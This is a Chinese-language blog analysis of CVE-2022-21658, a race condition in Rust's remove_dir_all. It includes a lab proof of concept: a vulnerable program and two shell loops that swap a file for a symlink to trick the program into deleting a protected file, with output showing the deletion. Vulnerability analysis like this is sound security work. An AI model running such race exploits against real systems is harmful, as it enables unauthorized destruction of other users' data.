Rust 标准库 remove_dir_all 竞态条件漏洞(CVE-2022-21658)分析

Table of Contents

日期:2022-02-16

2022 年 1 月 20 日 Rust 官方博客发布了该漏洞修复信息,标准库函数 std::fs::remove_dir_all 存在竞态条件漏洞,Rust 1.0.0 ~ Rust 1.58.0 均受影响。

竞态条件(TOCTOU)漏洞原理可参考我这篇文章

remove_dir_all 函数会删除指定目录及目录中的文件,官方文档中还特意强调了如果删除的对象是符号链接,则只会删除符号文件本身,不会删除链接指向的文件:

This function does not follow symbolic links and it will simply remove the symbolic link itself.

不删除指向的文件是出于安全考虑,否则就能随意链接到无权限操作的文件,让具备权限的程序去任意删除文件了。函数在做删除时实质上做了两步操作,首先判断对象是否为符号链接,接着再做操作,对应的伪代码如下:

if !filetype.is_symlink() {
    remove_file(filename);
}

这个漏洞关键点在于,判断符号文件与删除是分两步进行的,若是刚好在判断和删除之间发生了进程切换,那一瞬间正常文件又变成了符号文件,那么等下一次进程调度回来调用删除函数时就会连同链接指向的文件一并删除:

if !filetype.is_symlink() {
    // 执行完 is_symlink 后发生了进程切换,在 remove_file 函数执行前对象就已经变成了链接文件,那么就会连同链接指向的文件一并删除
    remove_file(filename);
}

做一个简单的漏洞实验,环境如下:

操作系统 Oracle Linux Server release 8.5
Rust 版本 1.57.0

新建 vul.rs,并用 rustc 编译成二进制程序 vul,这个程序删除 /tmp/deleted/a 文件:

use std::fs;

fn main() -> std::io::Result<()> {
    fs::remove_dir_all("/tmp/deleted/a")?;
    Ok(())
}

接下来新建两个目录:

mkdir /tmp/deleted mkdir /tmp/secret echo 'this is a secret' > /tmp/secret/file.txt

/tmp/secret/file.txt 是我想通过这个漏洞删掉的目标文件。

首先尝试创建个 /tmp/deleted/a 链接文件,并指向 /tmp/secret/file.txt,测试看看执行 vul 后是否会删除 /tmp/secret/file.txt:

$ ln -s /tmp/secret/file.txt /tmp/deleted/a
$ ./vul
$ ls /tmp/deleted/ <------- ls 返回空内容,a 文件已被删除
$ ls /tmp/secret/
file.txt     <------- file.txt 文件仍旧存在

从上面执行结果来看,虽然符号链接文件 /tmp/deleted/a 本身被删除了,但并没影响到 /tmp/secret/file.txt。

接下来就尝试用这个漏洞来删除。首先用一个终端负责执行死循环让创建正常文件和符号文件过程不断地交叉执行:

while :; do touch /tmp/deleted/a; ln -fs /tmp/secret /tmp/deleted/a; done

接着再开一个终端,用死循环反复执行 vul 去抢上述所说的时间点,同时顺便把进程的 nice 值提高(进程的优先级随着值的增长而降低)来提高成功率:

while :; do nice -n 19 ./vul; done

程序跑一会儿后发现 /tmp/secret/file.txt 已经没了:

$ ls /tmp/secret/
file.txt  secret
$ ls /tmp/secret/
file.txt  secret
$ ls /tmp/secret/
file.txt  secret
$ ls /tmp/secret/
file.txt  secret
$ ls /tmp/secret/
file.txt  secret
$ ls /tmp/secret/
secret     <------- file.txt 已经没了

1 参考链接